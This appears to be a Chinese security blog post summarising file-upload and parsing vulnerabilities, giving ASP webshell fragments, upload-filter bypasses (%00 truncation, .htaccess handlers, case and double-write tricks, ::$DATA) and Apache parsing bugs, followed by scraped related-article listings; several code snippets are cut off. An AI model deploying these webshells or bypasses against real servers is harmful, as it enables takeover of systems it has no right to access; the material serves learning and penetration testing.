文件上传漏洞、解析漏洞总结

1.文件上传漏洞是什么

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。

文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够这 WEB 容器执行,其次用户能从 WEB 上访问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。

解析漏洞是什么?

解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。

1.1常见的一句话木马

asp一句话木马:

php一句话木马:

aspx一句话木马:

其他一句话木马:

"" Then Execute(Request("value"))%>

""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>

可以躲过雷客图的一句话木马:

set ms = server.CreateObject("MSScriptControl.ScriptControl.1")

ms.Language="VBScript"

ms.AddObject "Response", Response

ms.AddObject "request", request

ms.ExecuteStatement("ev"&"al(request(""value""))")

%>

不用''的asp一句话木马:

不用双引号的一句话木马:

1.2解读php一句话木马

1.3获得webshell常用工具

2常见校验上传文件的方法

2.1客户端校验(前端校验)

1.通过JavaScript来校验上传文件的后缀名是否合法,可以采用白名单,也可以采用黑名的方式

2.判断方法:在点击上传按钮的时候弹出对话框如下图所示,而此时并没有发送数据包

2.2服务端检验-白名单

2.2.1检查http请求头content-type字段,MIME文件类型

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

2.2.2%00截断-get用法

%00截断的使用条件:

php版本必须小于5.3.4

并且php.ini中的magic_quotes_gpc设置为Off

原理是:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制

www.123.com/imbrave.php%00.jpg => www.123.com/imbrave.php

.jpg就会被解析为.php从而getwebshell

2.2.3%00截断-post用法

$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

if(in_array($file_ext,$ext_arr)){

$temp_file = $_FILES['upload_file']['tmp_name'];

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){

$is_upload = true;

}

为什么修改path才可以?

因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名。

那么,攻击者修改了path以后的拼接结果为:uploads/aaa.php%00/20190818.php

移动文件的时候会将文件保存为:uploads/aaa.php

从而getwebshell

+的URL编码的16进制 为2b,将2b改为00即可

2.3服务端检验-黑名单

2.3.1上传特殊后缀可解析的

一些特殊后缀

php:php3、php4、php5、php7、phtml

jsp:jspx、jspf

asp:asa、cer

apache里有个一个配置文件httpd.conf他可以允许一些特殊后缀名上传,最终都会被解析成php执行如:

AddType application/x-httpd-php .php .phtml.php3.php4.php7 等等

2.3.2上传.htaccess文件

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设

置。 概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:

网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

根据以上内容,假如我们自定义一个规则,并让服务器运行我们定义的规则,便可绕过上传限制

hatccess写法一

AddType application/x-httpd-php .后缀名

创建相同后缀名的一句话木马,作用就是会让这个后缀名变成php代码执行

hatccess写法二

# FileMatch 参数即为文件名的正则匹配

SetHandler application/x-httpd-php

2.3.3大小写饶过

strtolower()如果没用存在这个函数就如使用大小饶过如:

imbrave.PHP .Php .PHp 等等

2.3.4双写饶过

str_ireplace(find,replace,string,count)

find必需。规定要查找的值。

replace必需。规定替换 find 中的值的值。

string必需。规定被搜索的字符串。

count可选。一个变量,对替换数进行计数。

str_ireplace(php,"",pphphp)通常出现这个函数往往只会替换一次

pphphp 这样就会进行双写饶过 p php hp =》 中的php被替换 剩下p hp =》php

2.3.5点号饶过,空格饶过和::$DATA饶过

.

windows有一个特性,会自动去掉后缀名最后的‘.’

或者是不存在deldot($file_name);//删除文件名末尾的点

空格

windows有一个特性,会自动去掉后缀名最后的空格

或者是不存在trim($file_name);//删除文件空格

::$DATA

操作系统必须windows且是php,中间件都可以

php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名

3.解析漏洞

3.1apache服务器

3.1.1apache服务器-多后缀解析漏洞

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

如1.php.abc,因apache不识别.abc后缀,所以向前解析php

1.php.abc => 1.php

test.php.owf.rar解析成test.php

3.1.2apache服务器-CVE-2017-15715

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

如:

1.php\x0a => 1.php

复现漏洞,这边在dockerhub拉了一个镜像,代码比较简单过滤一些后缀

nginx 上传文件漏洞_文件上传漏洞,解析漏洞总结相关推荐

  1. nginx 上传文件漏洞_文件上传及解析漏洞

    注:本文仅供学习参考 文件上传定义: 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等. 这种攻击方式是最为直接和有效的, ...

  2. nginx 上传文件漏洞_文件上传漏洞小结

    1 概念 上传文件时,服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器. 2 危害 • 网站被控制,对文件增删改查,执行命令,链接数据库 ...

  3. java 文件上传漏洞_文件上传漏洞(绕过姿势)

    文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此 ...

  4. php post 漏洞_文件包含上传漏洞目录遍历命令执行漏洞

    制丨阿星 来源丨freebuff 作者丨Deutsh 文件上传漏洞: 一句话木马 一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量 执行函数: eval() assert() create ...

  5. java 文件上传漏洞_文件上传漏洞(File Upload)

    简介 File Upload,即文件上传漏洞,通常是由于对用户上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马,病毒,恶意脚本等获取服务器的webshell权限,并进而攻击控制 ...

  6. 利用mysql实现上传和下载_文件上传表单 上传文件的细节 文件上传下载和数据库结合...

    1 文件上传表单 1)上传文件的本质是文本复制的过程 2)技术层面,在Java中一定会用到IO操作,主要以二进制方式读写 3)传统方式下,对于上传文件字段不同的浏览器有着不同的解析方式,例如: IE6 ...

  7. ftp 上传文件夹_建站上传下载FTP工具

    做网站的朋友,经常要在本地和服务器之间上传下载源码,给大家推荐两款好用的FTP上传下载工具,便于大家开发维护站点. 一.FileZilla FileZilla比其他任何一款FTP软件都要简单 多协议支 ...

  8. idea没有out文件夹_史上最详细没有之一的 Java JNI傻瓜级入门教程

    本文使用java的IDEA和visual studio2017来详细的一步一步演示java的JNI构建过程(eclipse+vs2017的教程在文末) 1.打开java的IDEA,file->n ...

  9. du -sh 如何找到最大的文件夹_线上故障如何快速排查?来看这套技巧大全

    简介:有哪些常见的线上故障?如何快速定位问题?本文详细总结工作中的经验,从服务器.Java应用.数据库.Redis.网络和业务六个层面分享线上故障排查的思路和技巧.较长,同学们可收藏后再看. 前言 线 ...

最新文章

  1. mysql+esc,mysql(3):基础,常用命令句使用(2)--上集
  2. MongoDB的下载与安装
  3. python 回调函数(Callback)
  4. 论文阅读:Multi-scale orderless pooling of deep convolutional activation features
  5. 手机java做贪吃蛇_如何用Java写一个贪吃蛇游戏
  6. 阿里大牛精心整理了46张PPT,教你弄懂JVM、GC算法和性能调优!
  7. abs 不会整数 方法 溢出_asp cint clng的范围与防止cint和clng的溢出解决方法大全
  8. ueditor 上传html文件,UEditor Flash文件上传
  9. 学C++的室友手握这个项目,面试稳了
  10. Leetcode 235.二叉搜索树的最近公共祖先
  11. 博文视点大讲堂第42期——程序员修炼道路上的“葵花宝典”
  12. mysql 修改密码_经验总结 | MYSQL修改密码脚本,值得收藏
  13. 型材行业ERP-MES应用点滴
  14. DDK_HelloWorld卸载例程细化(驱动学习笔记四)
  15. 与孤独世界的博弈——诺贝尔奖得主约翰·纳什的传奇一生
  16. java 时间戳 什么意思_java时间与时间戳
  17. Arcmap 10.8与Arcmap 10.2工具对比
  18. 传奇私服服务器怎么增加npc,传奇私服装备打造NPC设置方法
  19. 防民之口,慎于防川!谈谈遇害的沙特记者。
  20. 关于迅雷电影的下载地址

热门文章

  1. 安卓 未root 虚拟机 断网 配置抓包详细教程
  2. 江西地区媒体邀约资源现场官方直播推荐
  3. MySQL给查询结果添加行号
  4. 论文阅读——用于自动后编辑的单语和双语神经机器翻译模型的对数线性组合
  5. Python天天美味(25) - 深入理解yield
  6. 什么是控标?常见的控标手段有哪些?
  7. svn切换账号-转载
  8. JavaScript去除文本框中重复内容 js去重复
  9. 人人商城[二开]任意位置调用插件函数功能
  10. 乘用车变速器GB/T 28046.3测试多少钱?GB/T 28046.3振动测试